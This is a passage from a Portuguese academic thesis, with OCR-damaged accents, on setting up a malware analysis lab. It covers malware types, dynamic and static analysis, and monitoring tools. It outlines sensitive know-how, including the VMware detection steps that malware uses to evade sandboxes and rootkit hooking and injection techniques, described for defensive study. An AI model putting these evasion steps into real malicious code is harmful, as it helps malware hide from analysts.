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Resumo

Este trabalho consiste na infraestrutura de um laboratério de analise de malwares, com a
descricao dos processos, métodos e ferramentas necessarias.

O processo de detec¢do de malwares € descrito passo-a-passo, utilizando-se de técnicas de
andlise dinamica e estatica.

Como prova de conceito, sdo feitas andlises de malwares com os métodos e ferramentas
descritas nesse trabalho, assim como é desenvolvido um cédigo-fonte de malware para ilustrar
como a implanta¢do de um laboratério de andlise de malwares pode ser usado como elemento
essencial na Guerra Cibernética.



Abstract

This work consists of the infrastructure of a laboratory of malware analysis, describing
the necessary processes, methods and tools.

The malware detection process is described step by step, using the techniques of static and
dynamic analysis.

As proof of concept, malware analyzes are made with the methods and tools described in
this work, as well as a malware source code is developed to illustrate how the implementation
of a laboratory of malware analysis can be used as an essential element in the Cyber War.
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1 Introducao

Os malwares, ou softwares maliciosos, maiores pragas do mundo virtual, estdo cada vez
mais complexos e furtivos. Em um mundo no qual a Internet ja faz parte da vida das pessoas
e das organizagdes, a existéncia de profissionais capacitados para atuar contra esses programas

maliciosos e prover segurancga aos utilizadores de qualquer servico Web se tornou necessaria.

Mas ndo adianta apenas existir o profissional capacitado, se esse ndo possuir um ambiente
com todas as ferramentas necessdrias para que ele possa colocar em pratica seu conhecimento

e analisar de forma completa e correta as mais diversificadas pragas virtuais.

Partindo desse contexto, este trabalho descreve detalhadamente quais sdo e como utilizar
todas as ferramentas necessdrias e suficientes de um laboratorio especializado em andlise de
softwares maliciosos. Além do supracitado, também se encontra no trabalho a descricdo da me-
todologia do processo de deteccdo de malwares, utilizando-se de técnicas de andlise dindmica

e estatica.

1.1 Objetivos

Desenvolver uma infraestrutura de laboratdrio especializado em andlise de malware, des-
crevendo em detalhes quais s@o processos, métodos e ferramentas necessarios e suficientes para
sua montagem, desenvolver uma metodologia, utilizando-se de técnicas de andlise dinAmica e
estatica de arquivo, para a detec¢do de malware e desenvolver codigo-fonte e realizar seu estudo

de caso como prova de conceito.

1.2 Motivacao

Atualmente, com o grande crescimento e popularizacdo de servigos eletrdonicos como o
uso de e-mail e sites Web, cresceram também as ameagas virtuais como virus, worms e outros
agentes de software malicioso. Torna-se necessdrio entdo criar um conhecimento avangado
sobre essas categorias de software para que possamos evitar fraudes, invasdes e até mesmo

estarmos preparados para uma Guerra Cibernética.
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Anualmente, grandes empresas de producdo de softwares contra arquivos maliciosos, como
a Symantec, produzem relatérios com o estudo sobre as tendéncias e desenvolvimento do mundo
das ameacas online. A existéncia desses documentos € de extrema importancia para a propria
area de defesa, j4 que mostra a evolugdo dos ataques e em qual setor as empresas devem focar

seus estudos no intuito de combaté-los.

A andlise do Symantec Internet Security Threat Report (FOSSI et al., 2011) - Relatério
de Ameacas a Seguranca da Internet - produzido pela Symantec, volume 16, cujos dados sdo

relativos ao ano de 2010, foi resumida nas proximas subsecoes.

1.2.1 Fatos e Numeros em Destaque Referentes ao Ano de 2010

Foram criadas 286 milhdes de novas ameagas. Novos mecanismos de disparo, como as fer-

ramentas para ataques Web, continuam a elevar o nimero de diferentes programas de malware.

Ocorreu um aumento de 93% nos ataques baseados na Web, gerado, principalmente, pelas

ferramentas para ataques Web. O uso de URLs encurtadas também contribuiu para isso.

O numero médio de identidades expostas por violagdo de dados causadas por hackers foi
de 260.000.

Foram descobertas 14 novas vulnerabilidades zero-day, ou seja, aquela que é desconhecida
até pelo proprio desenvolvedor. As vulnerabilidades zero-day desempenharam um papel fun-
damental nos ataques direcionados, incluindo o Hydraq e o Stuxnet. Apenas o Stuxnet utilizou

quatro diferentes vulnerabilidades zero-day.

Foram documentadas 6.253 novas vulnerabilidades, mais do que em qualquer periodo

anterior.

Como um sinal de que os cibercriminosos estdo come¢ando a concentrar seus esfor¢os
no universo movel, o nimero de novas vulnerabilidades encontradas em sistemas operacionais
moveis aumentou de 115 em 2009 para 163 em 2010. Contudo, relata que, em 2011, os nud-
meros devem ser ainda maiores, uma vez que, s nos primeiros meses, dezenas de centenas de

equipamentos foram infectados por c6digos maliciosos.

O risco a que estdo expostos os dispositivos méveis faz com que, atualmente, cerca de 47%
das empresas admitam que nao conseguem gerenciar, de forma adequada, os riscos trazidos por

esses equipamentos (smartphones, tablets, notebooks, entre outros).

A Rustock, maior botnet' observada em 2010, teve durante o ano mais de um milhdo

'Uma botnet é uma colegio de agentes de software ou bots que executam autonomamente e automaticamente.
O termo ¢é geralmente associado com o uso de software malicioso, mas também pode se referir a uma rede de
computadores utilizando software de computacao distribuida.
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de bots sob seu controle a partir de um Unico ponto. Outras botnets, como Grum e Cutwalil,

apresentaram muitas centenas de milhares de bots cada.

Quase trés quartos de todo o spam em 2010 estava relacionado a produtos farmacéuticos

— grande parte disso estava associado a sites farmac€uticos e marcas afins.

A Symantec identificou um anincio que oferecia 10 mil computadores infectados por bots
por US$15 em um férum secreto em 2010. Os bots sdo normalmente usados para spam, mas

sdo cada vez mais usados também para ataques DDoS (ataque de negacdo de servigo).

O preco cobrado por informacdes de cartdo de crédito em féruns secretos variou ampla-
mente em 2010. Entre os fatores que ditaram os precos estdo a raridade do cartdo e os descontos

oferecidos para compras em volume.

Como estatistica, 17% de todo o spam botnets detectado mundialmente pela Symantec foi

originado da América Latina.

1.2.2 A Sofisticacao das Atividades Maliciosas

Além do supracitado, foi bastante grifado o crescimento substancial da sofisticacdao das
atividades maliciosas em 2010. Um virus conhecido como Stuxnet tornou-se o primeiro pedago
de cddigo habilitado a afetar dispositivos fisicos enquanto, simultaneamente, realiza o ataque

utilizando-se de um ndmero sem precedentes de vulnerabilidades zero-day.

Mesmo sendo muito improvdvel que virus como o Stuxnet se tornem comuns dada a
imensa quantidade de recursos requeridos para sua cria¢io, ele mostra o que um grupo qua-

lificado e organizado de pessoas pode realizar.

1.2.3 Ataques em Redes Sociais

As plataformas de redes sociais continuam a crescer em popularidade e ndo surpreenden-

temente atrairam um grande volume de malwares.

Uma das principais técnicas de ataque usada em sites de redes de relacionamento envolve
o uso de URLs encurtadas. Em circunstancias tipicas e legitimas, essas URLs abreviadas sdao
usadas para compartilhar de forma eficiente um link em um e-mail ou em uma pagina da web

quando o endereco web original € extenso.

No ano passado, os cibercriminosos publicaram milhdes de links encurtados em sites de
redes sociais para enganar as vitimas de ataques, aumentando drasticamente a taxa de infec¢do

bem-sucedida.

O relatério identificou que os cibercriminosos utilizaram as ferramentas de feed de noticias
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fornecidas por sites de redes sociais populares para disparar ataques em massa. Em um cendrio
tipico, o criminoso se registra em uma conta de rede social comprometida e publica um link
encurtado para um site malicioso na drea de status da vitima. O site da rede social, em seguida,
distribui automaticamente o link para os amigos da vitima, potencialmente espalhando o link

para centenas ou milhares de contatos em minutos.

No ano passado, 65% dos links maliciosos em feeds de noticias observados pela Symantec
usaram URLs encurtados. Destes, 73% foram clicados 11 vezes ou mais, com 33% recebendo

entre 11 e 50 cliques.

1.2.4 Ataques Web e o uso de Virus Multiplataforma

Em 2010, os toolkits® para ataques continuaram a ter uso disseminado. Cada vez mais es-
ses kits tétm como alvo as vulnerabilidades do popular sistema Java, que representaram 17% de
todas as vulnerabilidades que afetaram plug-ins de navegador em 2010. Como uma tecnologia
popular, disponivel para multiplos navegadores e multiplataforma, a linguagem de programacao

Java € um alvo atraente para os cibercriminosos.

O toolkit Phoenix foi o responsavel pela maior atividade de ataques baseados na Web em
2010. Esse kit incorpora meios para explorar as vulnerabilidades do Java, assim como o sexto

ataque baseado na Web com a mais alta classificacdo durante o periodo de andlise do relatdrio.

Esses dados mostram o porqué da Guerra Cibernética - uso de computadores e da Internet
para a guerra de informacdes - ter recebido constante destaque nos mais diversos congressos
nacionais e internacionais, como na ultima edi¢do da Estratégia Nacional de Defesa (2008-

2011). Sua importancia levou a criacdo do Centro de Defesa Cibernética (CDCiber) em 2010.

1.3 Metodologia

Para o correto entendimento do conteido do trabalho, é realizado, inicialmente, um estudo
conceitual em cima do termo malware. Entender suas classificacdo e replicagdo é um dos

objetivos desse estudo.

Tendo posse dos conhecimentos conceituais, sdo introduzidas as técnicas de andlise de
arquivo (dindmica e estética). Elas sdo necessdrias para a correta identificacdo de um malware,

ou seja, para, ao analisar-se um arquivo, saber dizer se trata-se de um cédigo malicioso ou nao.

Em seguida, sdo descritas, em detalhes, quais sdo e como utilizar as demais ferramen-

20s toolkits sio programas que podem ser usados por principiantes e especialistas para facilitar o disparo de
ataques generalizados em redes de computadores.
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tas necessdrias e suficientes para a montagem de um laboratdrio especializado em andlise de

malware, partindo de maquinas Honeypots a Sandboxes.

Com o conhecimento adquirido, é definido uma infraestrutura de laboratério de andlise de
malware, listando seus processos, métodos e ferramentas e uma metodologia para o processo

de deteccdo de malwares, utilizando-se de técnicas de andlise dindmica e estatica.

Por fim, € realizado o estudo de softwares - sendo que um dos cédigos-fonte maliciosos
estudados foi desenvolvido no trabalho - como prova de conceito do uso do laboratério de

analise de malware.

1.4 Organizacao do Trabalho

O primeiro capitulo apresenta uma breve introducdo do trabalho, contendo os objetivos, a

motivacdo, a metodologia e a organizacdo do projeto.

O segundo capitulo define conceitos fundamentais e a linguagem utilizada pelo profissio-
nal especialista em malwares. Explica o que € um virus, um verme, um cavalo-de-troia, dentre
outros tipos de malwares e qual a diferenca entre eles. Também explicita as principais técnicas

de replicacdo de malwares, como acesso ao sistema de arquivos e aos registros do sistema.

O terceiro capitulo define detalhadamente a Andlise Comportamental, mostra como o am-
biente deve ser preparado para uma andlise correta e segura e como sdo realizadas as capturas

de trafego na rede, processos e acessos ao registro e ao sistema de arquivos.

O quarto capitulo define detalhadamente a Engenharia Reversa, mostra a estrutura dos
arquivos executaveis, ferramentas para que possa ser feita essa anélise e algumas técnicas co-

mumente utilizadas para esconder o c6digo malicioso do analisador.

O quinto capitulo apresenta o Honeypot, maquina utilizada para capturar pragas virtuais,

detalhando seus tipos, niveis e o Projeto Honeynet Global.

O sexto capitulo mostra os principais softwares utilizados para a coleta de malwares, muito

utilizados nos Honeypots.

O sétimo capitulo apresenta os Sandboxes, espacos virtuais nos quais todas as alteracoes
em arquivos, configuracdes e downloads efetuados sao interceptadas e um relatério das intera-

coes € gerado.

O oitavo capitulo define uma infraestrutura de laboratdrio de malware, listando seus pro-
cessos, métodos e ferramentas e a metodologia do processo de detec¢ao de malwares, utilizando-

se de técnicas de analise dinamica e estatica.
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O nono capitulo contém o estudo de casos como prova de conceito do uso do laboratério
de anédlise de malware, os quais consistem da aplica¢do direta da metodologia no intuito de

identificar se um software € malicioso ou nao.

No décimo capitulo, € realizada a conclusao do trabalho, na qual sdo explicitados quais fo-
ram os resultados alcangados, se os objetivos iniciais foram cumpridos e sugestdes de trabalhos

futuros.
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Conceitos

Para um melhor entendimento do contetido do presente trabalho, é importante ter conhe-

cimento de alguns conceitos, os quais serdo abordados nas subsecdes abaixo.

2.1 Classificacao dos Softwares Maliciosos

O termo Malware, ou Malicious Software, diz respeito a qualquer programa desenvolvido

com o intuito de causar algum tipo de dano a um computador, rede ou sistema. De acordo com

a maneira que € executado, como se replica e o que faz, o malware pode ser classificado em:

e Virus

Utilizam varios tipos de hospedeiros. No inicio, residiam em arquivos executaveis
e em setores de boot de disquetes. Com o passar do tempo, contaminaram documentos

com macros em scripts e, atualmente, se encontram em anexos de e-mail.

Nos arquivos executdveis, o virus € caracterizado por uma porcao de codigo unida
ao codigo original que € executada juntamente com o aplicativo. De modo geral, o pro-
grama hospedeiro mantém seu funcionamento normal, o que facilita a propagacdo. Em
outros casos, passa a ter um funcionamento anémalo. A propagacdo dos virus € dada pela

transferéncia do programa hospedeiro a outros computadores.

Verme (Worm)

Semelhantes aos virus, porém ndo dependem de hospedeiros para se replicarem. Mo-
dificam a operac¢do do sistema operacional do computador infectado para serem iniciali-

zados no processo de boot.

Para a sua propagacio, os vermes exploram vulnerabilidades do sistema alvo ou usam
algum tipo de engenharia social, como mandar e-mail cujo contetdo seja de interesse por

parte da vitima, para fazé-la acionar a sua execucao.
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o Wabbit

Caracteriza-se por sua grande eficiéncia em se auto-replicar!, fazendo isso repetida-
mente no computador, causando danos pelo consumo de recursos. Nao utiliza nenhum

tipo de hospedeiro (programa ou arquivo) e também ndo usam redes para sua propagagao.

Um exemplo classico de Wabbit € o “fork bomb”, o qual leva em consideracdao que
o ndmero de processos e programas que podem ser executados simultaneamente em um
computador tem um limite. Ele cria um grande nimero de processos, satura os recursos

do sistema e inviabiliza seu uso.

e Cavalo de Troia (Trojan)

Programa malicioso que se disfarca de programa legitimo. Os cavalos de troia sdo
espalhados anexados a programas tteis, sem poder de auto-replicacdo. Eles podem portar

outros softwares maliciosos em uma variante chamada de dropper, como virus e vermes.

e Backdoor

Permite o acesso a um computador sem os procedimentos normais de autenticacao.
Existem dois tipos de backdoors: os primeiros sdo inseridos manualmente no codigo de
um software hospedeiro e s@o divulgados na medida em que o programa € instalado. O
segundo tem um comportamento semelhante aos vermes, integram o processo de inicia-

lizagao do equipamento e se espalham transportados pelas pragas virtuais.

e Ratware

Trata-se de um backdoor que faz com que o sistema infectado fique enviando spams.

e Spyware

Coletam e enviam informag¢des do computador infectado, como padrdes de navegacao

ou até mesmo numeros de cartdo de crédito, sem notificar o usuario.

Sua propagacao é semelhante a dos Cavalos de Troia.

e Rootkit

E um tipo de arquivo malicioso cuja principal inten¢do € se camuflar, impedindo que
seu codigo seja encontrado por qualquer antivirus. Isto é possivel por que estas aplicacdes
tém a capacidade de interceptar as solicitacdes feitas ao sistema operacional, podendo

alterar o seu resultado.

Quando um rootkit é bem elaborado, torna-se dificil sua identificagdo, porquanto

atua em nivel de Kernel para ocultar sua presenca. Dessa forma, o mais sensato a se fazer

! Auto-replicar é fazer c6pia de si mesmo.
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quando o sistema foi comprometido por um rootkit é a formatacdo completa e a reinsta-
lagdo do sistema, pois € virtualmente impossivel ter certeza de que todos os componentes

da praga foram removidos.

e Keylogger

Registra toda a atividade de entrada do teclado em um arquivo, o qual, provavelmente,
serd enviado ao atacante. Alguns keyloggers inteligentes registram apenas as informacoes
digitadas pelo usudrio quando este se encontra conectado a um site seguro. Dessa forma,

0 atacante possui acesso a nimeros de contas bancdrias, senhas, nimeros de cartdes, etc.

e Screenlogger

Registra as paginas que o usudrio visita e a drea em volta do clique do mouse e as

envia pela internet.

No dia a dia, o termo Virus é, erroneamente, utilizado para caracterizar todos os tipos de
malware. Os fornecedores de programas antivirus contribuem para este tipo de confusdo na

medida em que combatem varias manifestacoes de malwares (GOLDANI, 2005).

2.2 Estratégias de Replicacao de Malwares

e Acesso ao File System
Feito pelos chamados file system virus ou cluster virus.

Modificam as entradas da tabela do diretério de modo que o virus passe a ser execu-

tado imediatamente antes que um determinado programa seja executado.

e Acesso ao Registro do Sistema

O registro € utilizado para salvar configuracdes de programas, restricdes de configu-

racoes do sistema, associacdes de arquivo, entre outros.

Como qualquer programa, um virus pode utilizar o registro para salvar suas confi-
guracdes ou outras informagdes (como, por exemplo, a data de infec¢do ou o ndmero de

e-mails infectados enviados, etc.).

A principal utilidade para malwares € permitir que esses obtenham acesso a memdoria
assim que o sistema seja inicializado. Para que o ataque ocorra, utilizam-se normalmente
cavalos de troia ou vermes, que modificam os registros para que sua inicializa¢do seja

feita assim que o sistema for inicializado.

Modificar o registro ¢ uma maneira eficiente de combater malwares, entretanto, modific4-
los n@o € uma tarefa facil para usudrios leigos, haja vista que o registro também influencia

em processos essenciais do sistema operacional ou de determinadas aplicacdes.
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e Spam

7z

De acordo com a pagina do Comité Gestor da Internet no Brasil, um spam é “termo
usado para referir-se aos e-mails nao solicitados, que geralmente sdo enviados para um

grande nimero de pessoas” (CGI, 2012).

O termo spam zombies € utilizado para designar computadores de usudrios finais que
foram comprometidos por malwares que, uma vez instalados, permitem que spammers

utilizem a mdquina para o envio de spam, sem o conhecimento do usudrio.

Enquanto utilizam mdquinas comprometidas para executar suas atividades, dificultam
a identificacdo da origem do spam e dos autores também. Os spam zombies sdo muito

explorados pelos spammers, por proporcionar o anonimato que tanto os protege.

e Dialers

Substituem o nimero de telefone de uma ligacdo discada por outro, com o intuito de,

ao efetuar a conexao, enviar informacoes ao atacante.

Os dialers realizam ataques que sdo conhecidos como Man-in-the-Middle, nos quais

o atacante intercepta informagdes antes de chegarem ao destino.

o URL Injection

Modifica o comportamento do browser no acesso a alguns dominios, substituindo a
URL requisitada por outra de interesse alheio, como propagandas de produtos. Normal-

mente, essa troca de sites € realizada de maneira transparente ao usudrio.

2.3 Analise de Malware

A andlise de c6digo malicioso visa o entendimento profundo do funcionamento de um
malware — como atua no sistema operacional, que tipo de técnicas de ofuscagdo sdo utilizadas,
quais fluxos de execucdo levam ao comportamento principal planejado, se ha operagdes de rede,
download de outros arquivos, captura de informacdes do usudrio ou do sistema, entre outras

atividades (FILHO et al., 2010).

2.3.1 Analise Dinamica

A Andlise Dinamica, ou Anélise Comportamental, consiste em executar o malware em
um ambiente controlado, comumente dentro de um méquina virtual, e através de ferramentas

de monitoramento capturar as interagdes que ele realiza com o sistema operacional e ambiente
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de rede (MICROSOFT, 2009). O malware é monitorado durante sua execugao, por meio de emu-
ladores, debuggers, ferramentas para monitoracao de processos, registros e arquivos e tracers

de chamadas de sistema (FILHO et al., 2010).

As trés técnicas de Andlise Dindmica mais empregadas nos principais sistemas de anélise

de malware disponiveis sdo (FILHO et al., 2010):
e Virtual Machine Introspection (VMI);
e System Service Dispatch Table (SSDT) Hooking; e
e Application Programming Interface (API) Hooking.

Virtual Machine Introspection (VMI), cuja estrutura estd representada na Figura 1, é um
tipo de andlise que utiliza um ambiente virtual para a execu¢do do malware e uma camada
intermedidria entre o ambiente virtual e o real (host system), chamada Virtual Machine Monitor
(VMM). Esta camada intermedidria € responsavel por obter e controlar as a¢des que estdao sendo

executadas no ambiente virtual, isolando-o e minimizando a chance de comprometimento do

ambiente real do sistema de analise.

Windows VM  Linux VM Solaris x86 VM

Physical Hardware

Figura 1: Estrutura do VMI

Com essa técnica, é possivel obter informacdes de mais baixo nivel sobre a execucdo do
bindrio, como por exemplo, as chamadas de sistema (system calls) executadas e o estado da
memoria e dos registradores do processador. Porém, a grande limitacdo desta abordagem ¢é

justamente a necessidade do ambiente de andlise virtualizado.

Existem alguns tipos de malware que, a fim de burlar a andlise e identificacdo de suas

acoes, realizam diversas checagens para verificar se estdo executando em ambiente virtual. Ao
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notarem a presenca deste tipo de ambiente, modificam seu comportamento de forma a ocultar
o fluxo de execucdo malicioso. Um exemplo de aplicativo que realiza esta checagem encontra-
se em (BACHAALANY, 2005). O aplicativo presente para download identifica se as maquinas
virtuais VMWare e Virtual PC estdo sendo utilizadas. Em (BACHAALANY, 2005) encontram-se
as checagens que o aplicativo faz e que podem ser utilizadas por um malware esconder-se de

uma andlise. A seguir, as checagens feitas para identificar o VMWare:

1. Executar os tratadores de excecao.
2. Passar para o registrador EAX o ”valor magico” 0x564D5868h (ou VMXh).
3. Passar para o registrador EBX outro valor que ndo o ”valor mégico”.

4. Passar para o registrador ECX o “valor de funcdo” (para o Get VMWare, por exemplo,

este valor é 10).

5. Passar para o registrador DX o valor 0x5658h (ou *VX’). Esta porta permite interagir com

o VMWare, caso esteja presente.

6. Executar in EAX,DX. Se o VMWare néo estiver presente, ocorrerd excecao e o VM Ware

esta ausente.

7. EBX deve ler agora o ”valor magico”. Se ocorrer, 0 VMWare esté presente.

O assembly do algoritmo pode ser encontrado em (BACHAALANY, 2005).

A técnica de System Service Dispatch Table (SSDT) Hooking, ou captura de chamadas
do sistema trata da interceptacdo das chamadas no sistema operacional através de funcdes de
hook, possibilitando inclusive que se modifique o fluxo de execugdo e as respostas retornadas

a0 programa.

Esta € aplicada através do uso de um driver, isto €, um programa especial que executa no
nivel do kernel (ring 0 nos sistemas Windows) e normalmente € utilizado para fazer a interface

entre dispositivos de hardware e o nivel de usudrio (ring 3).

A operagdo em ring 0 e consequente posse de maiores privilégios de acesso possibilita que
um driver intercepte todas as chamadas de sistema realizadas por um determinado programa
que executa em nivel de usudrio. Esta técnica pode ser usada tanto em sistema real quanto em
virtual. Isso ocorre devido ao fato de que, para se realizar a monitora¢do do malware durante a

andlise basta que se instale o driver no sistema monitorado.

Outra vantagem do uso de SSDT hooking é que ndo se modifica o cédigo do arquivo
monitorado, evitando que o malware descubra que estd sendo analisado através de checagem

de integridade.
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A desvantagem da aplicacdo desta técnica diz respeito a andlise de alguns tipos de rootkits,
uma classe particular de malware que executa em nivel de kernel e geralmente é implementada
sob a forma de um driver. Neste caso, como o malware estara executando no mesmo nivel de

privilégio do driver de monitoragdo, ele poderd executar acdes que ndo serdo capturadas.

Outra técnica utilizada € a de hooking de APIs, na qual a captura das informacdes € feita
através de modificagcdes no codigo do bindrio em andlise, de modo que os enderecos das APIs
que o programa vai executar sejam trocados por enderecos de fun¢des do programa responsavel

pela interceptacao dos dados.

No momento em que o malware € carregado no sistema, todas as DLLs utilizadas sao
verificadas para que sejam obtidos os enderecos das APIs que se quer modificar. Apds este
levantamento, a troca dos enderecos € feita. Esta técnica pode ser facilmente subvertida se o

malware realizar chamadas diretas ao kernel do sistema.

Neste caso, como ndo hé referéncia a nenhuma API, o programa de monitora¢do nao €
capaz de capturar as acOes efetuadas, fazendo com que se perca um subconjunto critico das

atividades do comportamento deste malware.

Outra desvantagem da utilizacdo desta técnica é que o malware pode identificar que esta
sendo analisado através de checagem de integridade, isto €, verificando se houve modifica¢des
no cédigo em execucdo. Esta identificac@o € realizada por um teste de debugging, utilizando a

API IsDebuggerPresent.

Além das técnicas apresentadas, destacam-se: (SIKORSKI; HONIG, 2012)

e /AT Hooking
E um método rootkit que esconde arquivos, processos ou acessos 2 rede no sistema
local. Ele modifica as tabelas de importacao ou exportacdo de enderecos.
e [nline Hooking

Consiste em sobrescrever o cédigo da fungao API contida na DLL importada, espe-
rando entdo até a DLL carregada comecar a executar. Um rootkit malicioso realizando
hookings em série ird normalmente substituir o come¢o do c6digo com um pulo para o

c6digo malicioso inserido no rootkit.

e DLL Injection

Injeta um c6digo em um processo remoto para chamar a API LoadLibrary, forcando

uma DLL a ser carregada no contexto desse processo.

e Direct Injection
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Parecido com o DLL Injection, com a diferenca de que ao invés de escrever uma
DLL separada e forcar o processo remoto a carrega-la, ele injeta o cédigo malicioso

diretamente no processo remoto.

2.3.2 Analise Estatica

Também chamada de Engenharia Reversa, a Andlise Estética estuda um programa sem

executa-lo.

Para que possa ser feita, é necessdria a utilizacio de algumas ferramentas:

e Disassembler

Converte um programa em uma sequéncia de instru¢des em linguagem de maquina
(Assembly)

e Decompilador
Converte instru¢des que se encontram em linguagem de maquina para cédigos-fonte
equivalentes em alguma linguagem de alto nivel
e Analisador de cédigo-fonte

Executa a andlise do cddigo gerado pelo decompilador

A Anilise Estética apresenta como vantagens a possibilidade de revelar como um pro-
grama se comporta em situagdes incomuns, ja que praticamente todo o cédigo-fonte gerado
pelo decompilador pode ser analisado, gerando a capacidade de analisar partes de um programa

que normalmente ndo executam.

Porém, € impossivel prever totalmente o comportamento de todos os programas.
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3  Anadlise Comportamental

Em geral, € possivel identificar um malware através de comportamentos suspeitos, sem
necessariamente ter acesso ao seu codigo. A esse tipo de andlise d4-se o nome de Andlise Com-
portamental ou Andlise Dindmica. Neste capitulo, serdo apresentadas as técnicas e ferramentas

utilizadas para a sua realizagao.

3.1 Preparacao do Ambiente

As andlises de malware - tanto estética quanto dindmica — envolvem diversas técnicas que
exigem um conjunto de requisitos variado. Sendo assim, a preparagdo correta de um ambiente

de andlise é um passo importante para evitar problemas ao longo do projeto.

Além disso, o ambiente em questdo deve ser isolado, isto €, ausente de comunicagdo com
outros discos. Com isto, ficard garantido que o malware ndo “escapard”, infectando outros

sistemas que ndo estao no ambiente de andlise.

Normalmente, o ambiente utilizado é uma maquina virtual - podendo também serem utili-
zadas maquinas reais -, uma vez que ela permite o acesso as ferramentas necessarias € as mais
variadas configuracOes de ambiente (sistemas operacionais, configuracdes de Firewall, rede,

etc.) (VENERE, 2009).

3.2 MaAquina Virtual

A pagina do VMWare define maquina virtual como “um software totalmente isolado que
pode executar os proprios sistemas operacionais e aplicativos como se fosse um computador

fisico” (VMWARE, 2012). A Figura 2 ilustra como a maquina virtual se encaixa para o hardware.

Os sistemas operacionais ndo reconhecem a diferenca entre uma maquina virtual e uma
maquina fisica, nem os aplicativos ou outros computadores em uma rede. Entretanto, a mdquina
virtual é composta inteiramente de software, ou seja, nao contém componentes de hardware

(VMWARE, 2012).
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Application

Operating System

A VMware virtual machine

Figura 2: Posicdo da Mdquina Virtual para o Sistema Operacional e o Hardware

Devido a isso, as maquinas virtuais sdo um ambiente propicio para a andlise de malware,
visto que apenas malwares muito sofisticados (que utilizam o recurso VM Ware Protect) podem
distinguir uma mdaquina virtual de uma méquina fisica. Neste caso, hd duas solugdes: utilizar
outra mdquina virtual ou retirar — via Engenharia Reversa — a parte do c6digo que contenha este

recurso.

H4 uma grande variedade de softwares para rodar maquinas virtuais. Sdo exemplos:

VMWare

Parallels Desktop (para Mac)

Sun Toolbox

e KVM

e UML

Neste trabalho, foram utilizados o VMWare e o Parallels Desktop.

3.3 Captura do Trafego de Rede

3.3.1 Farejadores ou Sniffers

Sniffers ou farejadores sdo softwares que conseguem capturar todo o trafego que passa
em um segmento de uma rede (ASSUNCAO, 2012). A Figura 3 mostra o funcionamento de um
Sniffer:
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Figura 3: Funcionamento de um Sniffer

Quando ligamos computador no HUB, e enviamos informa¢do de um computador para
o outro, na realidade esses dados vao para todas as portas do HUB, e consequentemente para
todas as mdquinas. Acontece que s6 a maquina na qual a informagdo foi destinada enviard
para o sistema operacional. No caso de utilizacdo de um swifch, mais comum atualmente, o
conteddo que chega na maquina € apenas o que foi direcionado para ela, isto €, ndo é possivel

ver o trafego geral da rede.

Sendo assim, deve-se configurar o switch para mandar todo o trafego para a maquina que
contém o Sniffer. Para tal, pode utilizar-se a técnica Switched Port Analyzer - SPAN (conhecido
tambem como Port Mirroring) - “capacidade de espelhar o trafego de uma porta (ou portas, ou

VLAN) para outra”(ORTEGA, 2009). A figura 4 ilustra este processo.

L

Figura 4: Switched Port Analyzer - SPAN
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Se um sniffer estivesse rodando nos outros computadores, mesmo sem esses sistemas envi-
arem a informacao que trafega ali para o sistema operacional, o farejador intercederd na camada
de rede, capturando os dados e mostrando-os para o usudrio, de forma pouco amigavel. Geral-
mente os dados sdo organizados por tipos de protocolo (TCP, UDP, FTP, ICMP, etc...) e cada

pacote mostrado pode ter seu contetido lido.

Sniffers sdo de grande utilidade para a Andlise Comportamental de malware, haja vista que
através deles, € possivel determinar se ha pedidos ou respostas imprevistas ocorrendo na rede.

Cédigos que realizem estas operacdes sdo possiveis candidatos a Rootkits ou outros malwares.

Este trabalho utilizou como sniffer o Wireshark (Figura 5) para seus estudos de Anélise

Comportamental.

! lest.peap - Wireshark
Fle Ede Mew Go Caphure Snshes  Ratitics  Help

B Ae B x%a @¢207F 2 |EE aa

El:ml v o Eapeession.. guCear o pppy

Mo, - Time Source Destinakion Frotocol | Info
i Fi e a e o T R

31 1.266628 192,168, 192.168.0.2 TCP 1025 > 5000 SH, ACK] Seqel Acks
32 1.266819 192,168 192.168.0.1 TCP 5000 » 1025 [PSH, ACK] Zequl Ack=
33 1.267E50 192.168. 152.166.0.2 TCR 1025 » 5000 [ACK] Seqe510 Acke20
34 1.274361 192.168 192.168.0.2 TP http » 3197 [PSH, ACK] Seqel Acks
35 1.2748447 192,168 2.1 TCP 3197 = Wetp [FIH, ACK] Seg-150 Ac
B 1. 27a5h; 92 168. a2, 168.0.2 CF E: ALK

37 1.275018 192,168, 192.153-0.; TEP 3197 » Seq=191 Ack=21

38 1.27601% 192,168, ACE] Seqe2éhds

B EER

Frame 36 (60 bytes on wire, 60 bytes captured) =
Ethernet II, Src: Metgear_24:75:9a (00:09:5b:2d:75:98), Dst: 192.168.0.2 (00:0b:5d:20:0d:02)

Internet Protocol, Sec: 192.165.0.1 (192.168.0.1), Dst: 192.168.0.2 (152.168.0.2)

Tranemizssion Control Protocsl, Sre Port: htep (800, D=t Port: 3197 (3197), Seq: 20, Ack: 190, Len: ©

el

Source port: http (807

Destination port: 3197 {3197)

Sequence number: 20 (relative sequence number)

Ackrowledgement number: 190 (relative ack number)

Header Tength: 20 bytes e

[P 1z00: 12000

Figura 5: Fotografia do Wireshark

3.4 Captura de Processos

Um processo € um programa em execucdo. Além do cédigo do programa, inclui a ati-
vidade corrente, conforme representado pelo valor do contador do programa e 0 contetido dos
registradores do processador. Um processo geralmente inclui a pilha de processo, que contém
dados temporérios (como pardmetros de métodos, enderecos de retorno e varidveis locais) ¢

uma secao de dados, que contém varidveis globais (SILBERSCHATZ, 2000).

Os sistemas Windows oferecem um gerenciador de tarefas, no qual estdo listados os pro-
cessos em execugdo, bem como quem os disparou e quem foi o responséavel pela criagdao do

programa em execugao.
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O Process Explorer é um gerenciador de tarefas mais robusto. Além das informagdes ofe-
recidas pelo gerenciador do Windows, informa uso de CPU, memoria, dentre outros (FONSECA,
2006). Sua interface mais amigédvel, com cores para diferenciar os diferentes tipos de proces-
sos, além da facilidade de matar os processos desejados e seus filhos, ajudam na andlise dos

processos abertos, sendo assim uma ferramenta poderosa para a Andlise Comportamental.

3.5 Captura de Acesso ao Registro e ao Sistema de Arquivos

O registro do Windows € o local onde todas as informagdes sobre o computador— tais
como dados de usudrios do sistema, localizacdo de arquivos e programas, preferéncias dos
utilizadores do computador e configuracdes de hardware e softwares - estao guardados. Todas
as a¢oes realizadas no computador geram logs que sao guardados no registro, principalmente a

instalacdo e desinstalagdo de programas (SOUZA, 2010).

Ter um monitoramento do acesso ao registro do sistema € fundamental para a Anélise
Comportamental, uma vez que os malwares que quiserem realizar alguma acao terdo sua ativi-

dade guardada no registro do sistema.

Este monitoramento pode ser realizado através do Regshot, uma ferramenta que tira uma
“foto” do registro do sistema. Se executado antes e depois do uso de um software suspeito, pode

